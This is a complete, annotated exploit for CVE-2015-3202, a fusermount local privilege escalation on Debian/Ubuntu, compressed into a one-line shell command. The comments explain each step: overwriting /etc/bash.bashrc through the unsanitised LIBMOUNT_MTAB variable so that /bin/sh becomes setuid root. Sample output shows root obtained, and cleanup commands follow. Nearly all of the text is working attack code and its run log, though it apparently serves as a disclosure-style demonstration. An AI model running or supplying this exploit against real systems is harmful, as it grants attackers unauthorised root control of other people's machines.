Fuse Local Privilege Escalation

`# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.  
  
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a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202  
  
# Here's how it works, $a holds the name of a shellscript to be executed as  
# root.  
a=/tmp/.$$;  
  
# $b is used twice, first to build the contents of shellscript $a, and then as  
# a command to make $a executable. Quotes are unused to save a character, so  
# the seperator must be escaped.  
b=chmod\ u+sx;  
  
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making  
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,  
# and dont make it drop privileges.  
#  
# http://www.openwall.com/lists/oss-security/2013/08/22/12  
#  
echo $b /bin/sh>$a;  
  
# Now make the $a script executable using the command in $b. This needlessly  
# sets the setuid bit, but that doesn't do any harm.  
$b $a;  
  
# Now make $a the directory we want fusermount to use. This directory name is  
# written to an arbitrary file as part of the vulnerability, so needs to be  
# formed such that it's a valid shell command.  
a+=\;$a;  
  
# Create the mount point for fusermount.  
mkdir -p $a;  
  
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes  
# /bin/mount so that it can use privileged mount options that are normally  
# restricted if ruid != euid. That's acceptable (but scary) in theory, because  
# fusermount can sanitize the call to make sure it's safe.  
#  
# However, because mount thinks it's being invoked by root, it allows  
# access to debugging features via the environment that would not normally be  
# safe for unprivileged users and fusermount doesn't sanitize them.  
#  
# Therefore, the bug is that the environment is not cleared when calling mount  
# with ruid=0. One debugging feature available is changing the location of  
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary  
# files.  
#  
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the  
# current shell from $0...so it only works if you're using bash!).  
#  
# The line written by fusermount will look like this:  
#  
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx  
#  
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because  
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse  
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the  
# next time root logs in.  
#  
# Another way to exploit it would be overwriting /etc/default/locale, then  
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root  
# wouldn't have to log in, but you would have to wait around until midnight to  
# check if it worked.  
#  
# And we have enough characters left for a hash tag/comment.  
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202  
  
# Here is how the exploit looks when you run it:  
#  
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202  
# fusermount: failed to open /etc/fuse.conf: Permission denied  
# sending file descriptor: Socket operation on non-socket  
# $ cat /etc/bash.bashrc   
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0  
#  
# Now when root logs in next...  
# $ sudo -s  
# bash: /dev/fuse: Permission denied  
# # ls -Ll /bin/sh  
# -rwsr-xr-x 1 root root 121272 Feb 19 2014 /bin/sh  
# # exit  
# $ sh -c 'id'  
# euid=0(root) groups=0(root)  
#  
# To repair the damage after testing, do this:  
#  
# $ sudo rm /etc/bash.bashrc  
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash  
# $ sudo chmod 0755 /bin/sh  
# $ sudo umount /tmp/.$$\;/tmp/.$$  
# $ rm -rf /tmp/.$$ /tmp/.$$\;  
#  
  
`